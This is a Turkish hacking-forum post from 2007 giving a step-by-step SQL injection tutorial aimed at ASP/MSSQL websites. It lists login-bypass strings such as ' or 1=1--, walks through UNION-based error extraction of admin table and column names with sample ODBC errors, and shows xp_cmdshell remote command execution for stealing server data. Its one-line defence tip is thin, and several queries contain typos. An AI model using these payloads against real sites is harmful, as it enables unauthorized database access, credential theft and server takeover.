The-Sabotage Cyber Hackers And Security Platform  

Portal Forum Kimler Online Bugünki Mesajlar Forumları Okundu Kabul Et
Geri git   The-Sabotage Cyber Hackers And Security Platform > || TSH || Hacking & Security > Web - Server Hacking & Security

Web - Server Hacking & Security Web Hacking Hakkında Bilmek istediğiniz Herşey,koruma yolları ve güncel açıklar ile ilgili Bölümümüz

Cevapla
 
LinkBack Seçenekler Stil
Alt 06-11-2007, 21:36   #1 (permalink)
SeCReT
Teğmen
 
SeCReT - ait Kullanıcı Resmi (Avatar)
 
Üyelik tarihi: Feb 2007
Mesajlar: 65
Cool Database Hack [SQL Enjeksiyon]

Selamun Aleykum
Database Hack (Sql Enjeksiyon) ile Hacki Anlatacağım size

Web üzerinde kullanılan pek çok uygulama back-end olarak hizmet veren bbir database kullanır.
Bu sayede kullanıcıya interaktif bir oturum sağlamış olur. Bu tip uygulamaların sıkca kullanıldıgı alanlardan biri de formlardır.
Kullanıcı ilgili forma kullanıcı ismini, şifresini, bilgilerini vs. , yazar. daha sonra da ’’ Gönder, Kayıt Ol, Submit’’ Alternatiflerine tıklar
ve kendi bilgilerini gönderir. Web sitesinde kullanılan ASP, PHP, JSP gibi uygulamalar kulllanıcının gönderdiği bilgileri alır
ve veritabanına gönderir. Backend olarak kullanılan databaseler de gelen istek karsısında tablolara bakar ve istenilen kriterleri sağlıyorsa onay verir. Databaselerden en çok kullanılan Microsoft SQl ve :Unix tabanlı sistemlerde kullanılan MySQL’dur.
Özellikle MSSQL üzerinden yapılan saldırılarda kullanıcı bilgilerine ya da diğer bilgilere ulasmak mümkündür. Bunun için biraz SQL mantıgını bilmek yeterlidir.
Şimdi olayın detaylarına inelim:

Bizim ilk yapmamız gereken web sayfasında form kullanan bir site bulmak. Formlar pek cok sitede kullanılan ve kullanıcıyla etkilesimi saglayan elemanlardır.
Bir html sayfasındaki basit form şu şekildedir:



<Form action=Search/search.asp method=post>
<input type=hidden name =password value=sifre>
</Form>



<FORM> ve </FORM> arasındaki her parametre bizim için kullanıslı olabiilir. Amacımıza ulasmak için form elemanlarını kullanan siteleri
arastırmalıyız. Özellikle [Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] şeklinde ASP sitelerine bakarız. Bu tarz bir site buldugumuz zaman
yapmamız gereken sey öncelikle form yada URL adresine su tarz bir şey yazmak olacak:



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] or 1=1--



Bu ifade login kısmına da şifre kısmınada URL adresinin oldugu kısma yazılabilir. Peki amöa bu ifade ne anlama geliyor normalde kullannıcı isimi yafaşifre girmesi gereken yerde
rastgele bir karrkterin ardından ’ or 1=1-- yazılması SQL dilinde kullanılan noktalamma işaretleri ve lojik ifadeler yardımıyla login login ekranını dogrudan gecmek ve normalde görüşmeyen ekstra bilgilere ulasmak içindir.
Konuyu biraz daha acalım ve SQL veritabanında bir sorgulamanın nasıl yapıldıgına bakalım . SQL da basit bir sorgulama su formatta yapılır:



SELECT * FROM uyeler WHERE userID=’tanridagi’



Yukarıdaki deyim ’’uyeler’’ tablosunda kullanıcı ismi ’’tanridagi’’ olan yani benim bütün kayıtlarımı görmek için kullanılır. Bu deyim de tanridagi kelimesinin 2 yanındaki tek tırnaga dikkat edin
UserID kısmı zaten URL kısmında göruldugunden biz bu bilgiyi kullanarak girdigimiz bazı degerleeri SQL’a enjekte olabillir. SQL enjeksiyonu olarak dabilinen bu olayda biz ’or 1=1-- yazarak giriş satırının kullanıcı isminin
hiç bir şey olması yada 1=1 eşitliğinin sağlanması gerektigini SQL a enjekte etmeye calısırız. Bu yazdıgı ifade SQL a su sekilde gider:



SELECT * FROM uyeler WHERE userID=’’ or 1=1--’



DEyiminin sonnnundaki -- ise kalan kısmı dikkate almamasını söyler. SQL sorgulamasında asagıdakilerden herhangi biri kullanılabilir:



’ or 1=1--
’’or 1=1--
or 1=1--
’ or’a’=’a
’’or’’a’’=’’a
’) or (’a’=’a


Peki bunu yapınca ne olacak? buradaki amac farklı noltalama işaretlerini kullanarak SQL un ODBC hatalarını vermesini saglamak. Biz girmek istediğimiz web sitesinde söyle bir ASP sayfasının oldugunu varsayalım



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...]



Şimdi aşama aşama nasıl sonuca gittiğimize bakalım. Öncelikle yukarıda anlatılan noktalama işaretlerini kullanarak SQL u ODBC hatası vermeye zorlıycaz. Bu amacla iki veya daha fazla sorguyu tek sonuc setinde veren UNİON operatorunu kullanırız. UNION operatorunun genel kullanımı söyledir:



SELECT * FROM TABLO1 UNION SELECT * FROM TABLO2



Biz ise UNION operatorunun su sekilde kullanırız:



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--



’’INFORMATION_SCHEMA.TAVLES’’ sunucudaki tüm taaablolar hakkında bilgi tutan bir sistem tablosudur.’’ TOP 1 TABLE_NAME ’’ İse en üstteki tablodur.
Biz sistemde hangi tabloların oldugunu ve bunların isimlerinin ne oldugunu bilinmediğinden MSSQL da standart olan genel isimleri kullanılmısıtr. Bu sorgulamada databasedeki ilk tablo ekrana gelecektir
Ayrıca UNION operatoru sayesinde bizim verdiğimiz string 5 sayısına dönüştürülmeye calıssılacak ama su sekilde bir hata verecektir:



Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’tablo1’ to a colmn of data type int.

/index.asp, line 5



Bu mesaj bizim için cok degerlidir. Cunku veritabanındaki ilk tablonun ismini öğrenmişizdir. Tablo 1. Sora diğer tablonun ismini öğrenmeye gelmiştir.



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’tablo1’)--



Yada herhangi bir detayı içeren tabloyu LIKE operatoru ile aratabiliriz:



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25login%25’--



alacagımız cevap su sekılde olacaktır:



Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’admin_login’ to a colmn of data type int.

/index.asp, line 5



Bir asama daha katetmıs olduk cunku kullandıgı LIKE operatoru ile içinde ’’login’’ olan tabloyu aratmıs ve bulmus olduk: ’’admin_login’.
Şimdiki hedefimiz ise ’’admin_log on’’ tablosundaki sutunların ısımlerını ogrenmek:



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_sCHEMA.COLUMNS EHERE TABLE_NAME LIKE = ’admin_login’--



SQL’un vereceği cevap söyledir:



Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’login_id’ to a colmn of data type int.

/index.asp, line 5



’’admin_login’’ tablosunda ilk sutunun ismi ’’login_id’’ olarak bulundu. Ancak bir sonraki sutunun ismini de bilmemiz gerekiyor. Bunun için NOT IT operatorunu kullanıcaz:



[Linkleri görebilmek için üye olmalısınız. Üye olmak için tıklayınız...] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IT (’login_id’)--



Bu sorguya SQL şöyle cevap verir:



Microsoft OLE DB Provider for ODBC Drivers error ’8004e07’
[Microsoft][ODBC SQL Server Driver][SQL Server][Syntax error
converting the nvarchar value ’login_name’ to a colmn of data type int.

/index.asp, line 5



’’login_name’’ bilgisini de ele geçirmiş olduk. Şimdi bundan sonra benzer komutları uygulayarak yönetici hesabını ele geçirebiliriz ya da kendimizi yönetici olarak sisteme ekleyebiliriz.

Anlatılan bu yöntem dısında hedef makinede saklanan SQL prosedurlerıyle uzaktan komut calıstırmak da mumkun. MS SQL varsayılan olarak kuruldugunda Windows’daki administrator erisimine karsılık gelen SYSTEM hesabıyla calısır.
Bu hesapla sunucuya baglanıldıgında:



WWmaster ...xp_cmdshell ’dir c:’--



Komutu kullanılarak C: sürücüsündeki dosyaların götüntülenmesi saglanılabilir. En bastaki işarekt SQL a sorgulemayı bitirmesini ve geri kalan kısımda verdiği komutu calıstırmasını söyleriz. Bu komutun SQL daki tam karsılıgı su sekildedir.



SELECT * FROM tablo1 where catid=’giyim’ ; EXEC master..xp_cmdshell ’dir c: ’---



Uzaktan komut calıstırmak suretiyle kullanıcı ismi ve sifresi yanlıs bile olsa öncemli bilgiler herhangi bir dosyaya yazdırıp sonra da kendi makinesinde acılan bir klasöre kopyalanması saglanılabilir.


KORUNMA

Noktalama İşaretlerini Kaldırın

Kullanıcılardan URL’den cookie değerlerinden gelen noktalama işaretlerinin [ ’, ’’, #, : ] girdi olarak alınmadan önce filtrelenmesi gerekir. Bunun için küçük ASP kodları kullanılabilir...

Kolay Gelsin.
__________________
[T][S][H]
SeCReT isimli Üye şimdilik offline konumundadır   Alıntı ile Cevapla
Cevapla



Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil

Yetkileriniz
Yeni Mesaj yazma yetkiniz Aktif değil dir.
Mesajlara Cevap verme yetkiniz aktif değil dir.
Eklenti ekleme yetkiniz Aktif değil dir.
Kendi Mesajınızı değiştirme yetkiniz Aktif değildir dir.

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-KodlarıKapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık


Bütün Zaman Ayarları WEZ +3 olarak düzenlenmiştir. Şu Anki Saat: 11:41 .


eXTReMe Tracker
PageRank ?????????

Powered by vBulletin
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
SEO by 3.0.0
The-Sabotage Hacker's
Saldırıya Karşı Güvenlik Devrede
Sitemap
3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 98, 99, 101, 102, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 135, 136, 137, 140, 141, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251,

Title
The-SaboTage Team* Terörle Mücadele Grup Komutanlığı* Özel Kuvvetler Grup Komutanlığı* Web Tasarım - Grafik Grup Komutanlığı* Personel Daire Başkanlığı* Savunma Grup Komutanlığı* Saldırı ve Operasyon Merkezi* || TSH || Hacking & Security* Hack'e Yeni Başlayanlar & Yardım Bölümü* Web - Server Hacking & Security* Video'lu Hack Anlatımları* Mail Hacking & Security* Pc Hacking & Security* İrc / Chat Hacking Ve Güvenlik* Exploit / Vulnerabilities* Keylogger & Trojan & Virüsler* Security* The-SaboTage Merkez Tanımı* The-SaboTage Duyurular* || TSH || Basında Biz ..* || TSH || Yeni Üyelerimiz ...* || TSH || Banned Users* Webmaster , Dizayn & Tasarım* Webmaster Bölümü* Photoshop & Flash* Google Adsense & Pagerank* Güncel Scriptler* PHP Scriptler* ASP Scriptler* Programlama Dilleri* Visual C.NET ve Visual C++.NET* Visual Basic ve Delphi* ASP ve PHP DiLLeri* Diğer Programlama Dilleri* Bilgisayar, İnternet ve Teknoloji Dünyası* Pc'niz İçin Güzel Programlar* Pc Oyunları* Resimli Program Anlatımı* Donanım & Donanım Sorunları* Bilgisayar Taktikleri & Bilinmeyenler* İşletim Sistemleri* Linux İşletim Sistemi* Windows İşletim Sistemi* İnternet Adresleri ( Bookmark )* Teknoloji Dünyasından Son Haberler* Msn & Yahoo Messenger Dünyası* Crack & Serials* İslam ve İnsan* İslami resimler* İslami Video ve fragmanlar* İslami programlar* Dini Hikayeler , Şiirler , Sohbetler* Dualar ve hadisler* The-SaboTage Cafe* Eğlence / Mizah / Geyik* Romantizm & Duygusallık & Sevgi* Derin Konular; Edebiyat/Felsefe* Tartışma Platformu* Eğitim , Öğretim & E-Kitap* Yerli ve Yabancı Mp3* Türkçe MP3* Yabancı MP3* Dizi Ve Film Müzikleri* Şarkı Sözleri* Yerli ve Yabancı Sinema* Vizyona Girecek Filmler* Türk Filmleri* Yabancı Filmler* Belgesel* Spor Köşesi* Beşiktaş* Fenerbahçe* Galatasaray* Trabzon Spor* Diğer Takımlar* Diğer Spor Haberleri* (Çöp Kutusu)* Çöp Kutusu* TsH United Foreigner Team The Area* Team Başvuru İnceleme Bölümü* Kriptografi (Şifreleme )* Güncel Açıklar* Karargah Destek Grup Komutanlığı* Ar-ge ve Yazılım Geliştirme Grup Komutanlığı* TSH Vip Bölüm (Priv8)* Vip Odası* M.KeMaL ATATüRK KöŞeSi* vbulletin* SMF* WordPress* oScommerce e-Ticaret Sistemi* Diğer* Joomla 1.0.x* Joomla 1.5.x* Joomla! İndir - Kur - Güncelle* Joomla! 1.0.x Resimli Dersler* Joomla! 1.0.x Güvenlik* Joomla! 1.0.x Soru - Cevap* Joomla! 1.0.x Eklenti İndir* Joomla 1.0.x Site Değerlendir* Joomla! 1.0.x SSS* Genel Sistem Soruları* Bileşen - Modül - Bot - Tema Soruları* Kurulumda Gelenler* Tema - CSS* Üye Yönetim* Haber - Yorum - İçerik* Güvenlik* Dil - Tercüme Eklentileri* Menü Eklentileri* Galeri - Ses - Görüntü* e-Ticaret* Dosya Yönetim* Uygunlaştırma - SEO - SEF* Form* Forum - Köprü - Entegre* Diğer Eklentiler* Tema - CSS* Üye Yönetim* Haber - Yorum - İçerik* Dil - Tercüme Eklentileri* Menü* Galeri - Ses - Görüntü* e-Ticaret* Dosya Yönetim* Uygunlaştırma - SEO - SEF* Form* Forum - Köprü - Entegre* Diğer Eklentiler* Joomla! Kurulum ve Güncelleme* Joomla! 1.5.x Soru - Cevap* Joomla! 1.5.x Tüm Eklentiler* Çeviri Talepleri* Proje Çözüm* Site Değerlendirme* Joomla! 1.5.x SSS* Genel Sistem Soruları* Eklenti Soru - Cevap* Kurulumda Gelenler* Tema - CSS* Üye Yönetim* Haber - Yorum - İçerik* Güvenlik* Dil - Tercüme* Menü* Galeri - Ses - Görüntü* e-Ticaret* Dosya Yönetim - Paylaşım* Form Araçları* Forum* Diğer Eklentiler* Haber - Duyuru - İndir* Soru - Cevap* Kurulumda Gelenler* Tema - CSS* Üye Yönetim* Haber - Yorum - İçerik* Güvenlik* Dil - Tercüme* Menü* Galeri - Ses - Görüntü* e-Ticaret* Dosya Yönetim - Paylaşım* Form Araçları* Forum* Diğer Eklentiler* vBulletin Genel Konular* vBulletin S.S.S* vBulletin Sorular & Cevaplar* vBulletin Siteleriniz* vBulletin Mod & Hack & Eklenti* vBulletin Temaları* vBulletin Dil Dosyaları* vBulletin Görsel Anlatımları* vBulletin Portal Entegrasyonları* Dökümantasyon* Modifikasyonlar* Sistem - İşletim* Temalar* Eklentiler* Temalar* osCommerce Soru - Cevap* osCommerce Kur - Güncelle* osCommerce Temalar* osCommerce Dil Dosyaları* osCommerce Eklentiler* osCommerce Güvenlik* osCommerce SSL - Pos - Ödeme* osCommerce Siteler* Php Fusion* Xoops* Mambo* PhpBB* myBB* IP.Board - Invision Power Board* Yazılı Anlatımlar-Dersler-Makaleler* Tanıtımlar-Tavsiyeler* Haberler-Gelişmeler-Duyurular* Görsel Anlatımlar (resim-video)* Hatırlatmalar-Uyarılar* Modifikasyon Soruları* Modifikasyon Tanıtımı* Kurulum ve Güncelleme* Dil Problemleri* Smf'de Başka sisteme geçişler* Başka sistemlerden Smf'ye geçişler* Portal birleşmeleri* Site Tanıtımları* Sizin Temalarınız* Tema Soruları* Tavsiye Temalar* IP.Board 2.3.x* IP.Board 2.2.x* IP.Board 2.2.x Altı* IP.Board Genel Bilgiler* IP.Board Dersler & Klavuzlar* IP.Board Güvenlik* IP.Board Dil Dosyaları* IP.Board Soru(n)larınız, Hatalar* IP.Board Siteler* ProfDizayn.com* Mambo Genel Sorular & Dersler* Mambo Bileşenler* Mambo Modüller* Mambo Temaları* Mambo Eklentileri* Mambo Çeviri* Mambo Siteler* Virüsler & Korunma Yöntemleri* Dökümanlar*